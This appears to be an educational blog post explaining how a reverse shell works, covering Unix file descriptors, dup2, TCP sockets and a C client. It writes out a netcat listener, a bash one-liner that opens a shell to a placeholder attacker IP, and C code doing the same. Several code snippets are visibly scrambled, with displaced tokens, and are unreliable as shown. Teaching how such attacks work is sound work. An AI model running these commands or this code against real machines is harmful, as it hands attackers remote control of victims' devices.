Reverse Shell Magic
Recreating a common exploit with C Sockets
December 15, 2024
Today I want to explore some malware, more specifically a very basic program known as a reverse shell. Programs like these allow an attacker to access and control a victim’s device through a single TCP connection and serve as the foundation for even more malicious programs like Remote Access Trojans (RATs). A reverse shell is incredibly easy to set up. We can create one with two lines using built-in unix commands:
On the attacker machine start a netcat
server:
$ nc -nlvp 4444
On victim machine run the following command:
$ bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
Once the second command executes the attacker will be launched into an interactive shell inside the victims device. Very cool… but how does this work? To understand the command above, we’ve got to go back to how unix uses files over internet connections.
Files and unix redirections
In an earlier post I explored the idea that in UNIX systems everything is a file. When a process is initiated it gets its own file descriptor table, which is just a list of integers that describe what files it has open. By default, process have three initial entries:
Value | Name |
---|---|
0 | stdin |
1 | stdout |
2 | stderr |
These files are known as standard
streams, which are preconfigured I/O
connections. In the case of the terminal program you’re
likely running when executing the commands above,
stdin
would access a stream to a keyboard
and stdout
/stderr
access the
display. We can use the to redirect these streams. For
example:
echo "foo" > bar
The built-in unix >
symbol directs
the stdout
stream to the bar
file. The output of echo "foo"
is simply
"foo"
, which is then directed to the
bar
file. These unix shorthands are very
useful and succinct, but let’s get a little more verbose
and require the command in C. Our program will do the
following: 1. Create the bar
file. The OS
will assign the file descriptor of 3
to
this file. This is easy with the open
call:
char *filename = "bar";
int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644);
- Redirect
stdout
to the file descriptor ofbar
. We can do this with thedup2
call.
int dup2(int oldfd, int newfd);
The dup
system calls manipulate,
duplicate, and create aliases of file descriptors. From
LPI: > The
dup2() system call makes a duplicate file
descriptor given in oldfd using the descriptor
number supplied in newfd. (97)
So, lets duplicate the file descriptor for
stdout
for the fd
of the
bar
file:
dup2(fd, STDOUT_FILENO);
- Finally we can write to
stdout
char *message = "foo";
(STDOUT_FILENO, message, strlen(message)); write
After compiling and executing our program
we can see the string foo
printed to a
bar
file:
$ gcc dup.c
$ ./a.out
$ cat bar
foo
Ok, admittedly not very exciting… let’s do something with the internet!
Network sockets and file descriptors
Sockets are abstracted software structures that allow
inter-process communication across networks. They rely
on transport
layer protocols like TCP and UDP to deliver data
streams between hosts, utilizing network ports.
Processes read and write to sockets just as they would
to files. In other words, when we define a socket, we
get back a file descriptor from the OS and can perform
the same file-related system calls on the socket
(dup
, read
,
write
, close
, etc).
For our reverse shell program, we’ll use TCP because this ensures reliable packet delivery. We need to define a socket on each end of the network connection – one for the server and one for the client. In reverse shell exploits, the attacker runs the server, while the victim (unknowingly) executes the client. In our client, we’ll initiate the socket, specifying TCP with IPv4 addressing:
#include <sys/socket.h>
int main {
int socketfd = socket(AF_INET, SOCK_STREAM, 0);
("Socket file descriptor: %d", socketfd);
printfreturn 0;
}
Then, we’ll initiate a connection to the attacker’s
server. We’ll have to define a specific
struct
for the remote server’s address:
int PORT = 4444;
struct sockaddr_in server_address;
.sin_family = AF_INET;
server_address.sin_port = htons(PORT);
server_address.sin_addr.s_addr = inet_addr("<Attacker IP>");
server_addressint connection = connect(socketfd, (struct sockaddr *)&server_address, sizeof(server_address));
If our connection is successful, this means we’ve reached the server and have completed the TCP 3-way handshake and can now exchange information. Ok now for the fun part…
Recreating the reverse shell
Remember the dup2
system called we used
to duplicate the file descriptor of an arbitrary text
file? Since the OS treats the socket as a file, we can
use the same function on the socket, but instead of just
redirecting standard output to the file, we’ll also
redirect stdin
and stderr
.
This means that whatever is inputted by the server into
the socket at their end will be directed as
stdin
into the victims shell. Output that
prints to the terminal (stderr
and
stdout
) will instead by redirected to the
socket.
(socketfd, STDIN_FILENO);
dup2(socketfd, STDOUT_FILENO);
dup2(socketfd, STDERR_FILENO); dup2
Once this bidirectional communication is established, we execute a shell in the client (i.e. victim) program:
char *const shell_argv[] = {"/bin/sh", NULL};
("/bin/sh", shell_argv, NULL); execve
Because we’ve redirected the standard streams to the server socket, text from the attacker will be treated as valid input in the shell program. Similarly, any output from the shell will direct to the socket, which will be displayed in the attacker’s terminal. Find the full code here.
Lastly, let’s look back at our initial command we ran on the victim’s machine:
$ bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
Similar to the >
shorthand
>&
redirects stderr
to
the same file descriptor as stdout
. The
0>&1
shorthand, directs
stdin
to the same location as
stdout
. In both these cases, the standard
streams are directed to the file
/dev/tcp/<attacker-ip>/4444
. This is
a pseudo
device provided by bash. It basically opens a socket
connection to the provided IP and port, simplifying the
work we did in our C client socket program.
Building blocks to more invasive programs
Reverse shells can form part of a more sophisticated RAT, adding functionality like keyloggers, GUIs, file managers, and even webcam access. But this demonstration shows that even running one command can be devastating for the victim.
Furthermore, what’s missing here is an explanation of how a victim would actually mistakingly run a program like the one we wrote here. There are a variety of methods an attacker might use, for example embedding a bash command into a software update script, but I won’t get into further detail in this post.